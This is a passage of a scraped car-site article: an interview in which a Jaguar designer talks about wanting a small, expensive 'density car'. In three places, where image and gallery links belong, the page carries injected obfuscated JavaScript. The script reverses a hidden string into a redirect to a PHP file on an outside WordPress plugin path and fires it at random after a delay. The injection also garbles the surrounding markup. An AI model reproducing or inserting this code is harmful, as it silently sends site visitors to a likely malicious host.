$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Jaguar-F-Type-Launch-Paris-9.jpg” alt=”” width=”728″ height=”485″ />
So now the F-Type is out in the public domain, and you’ve got new responsibilities to increase the brand name in certain directions. What’s the next car YOU want Jaguar to have?
“Well, we’ve got a cycle plan, which I’m not going to tell you about! But though I’m sure you can guess what some of that entails.
“What I’d like to do, and I’ve said this many times, is that I’d like to make a small Jaguar. I mean small small. Not BMW 3-Series size or even Audi A3 size. I would love the challenge of creating the ultimate mini car. Something the size of a modern MINI or Volkswagen Golf, neither of which are that small. I don’t want to define the size too much as people will start thinking about categories, and that’s not what I want people to do.
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“How do I describe this? Think of the iPhone as a small phone. It’s not a category because of its size. It’s a category because it costs $800! Its that kind of category I’m thinking of. So it’s difficult for people to get themselves out of that mindset and plug them into a different way of thinking. That’s what I’d like to do but I don’t think it will happen, because I don’t think Joe Public will understand a small car being expensive. Plus, we can’t do that as Jaguar without sharing the model with someone else, which I don’t think we will do.”
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Two interesting models you used there as examples, I notice…
“I’m a hot hatch man! That was the way I grew up. My rational is simple. The whole rational of a small car is what I call a ‘density car’. Something that will be small and compact but has everything in it that you could possibly want and need. Like an iPhone: you can drop it into water and no bubbles will come out. Remember when [former Chief Executive Officer of Apple inc.] Steve Jobs did that? He dropped one into water and bubbles came out. He said, ‘clearly there’s too much air, so tighten it up’!
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This idea of ‘less is more’ then is something you think Jaguar should consider…?
“I love the idea. You are buying into smallness. You are paying more because it is small and I think ultimately that mentality will spread. We pay more for little cameras than we do for big ones. That mentality has got to come to cars at some point, where you pay for density. But I think there’s a long way to go, and I think Jaguar would be a lovely brand to commence that. Sadly we are not in a position to do so just yet, but my team will start thinking about it and we’ll see what we can come up with.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Paris-Press-day-1-116-728×485.jpg” alt=”” width=”728″ height=”485″ />
“The rationale is not just ecological. It’s about urban lifestyle. Let’s say for example that you live in London. You don’t want something too large, which is why the Range Rover Evoque does so well. For a lot of people it’s just about the right size. Personally, I really believe in that urbanite vehicle, but it has to be a Jaguar. It has to go right, have the right materials, look right and have that quality. The brand attributes don’t change.
“All of the above is just a personal desire though, not a company belief. You never know though. One day, maybe…”
– Be sure to check out more images from this year’s Paris Motor Show in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/paris-motorshow-all-the-colour/” target=”_blank”>our full gallery HERE.
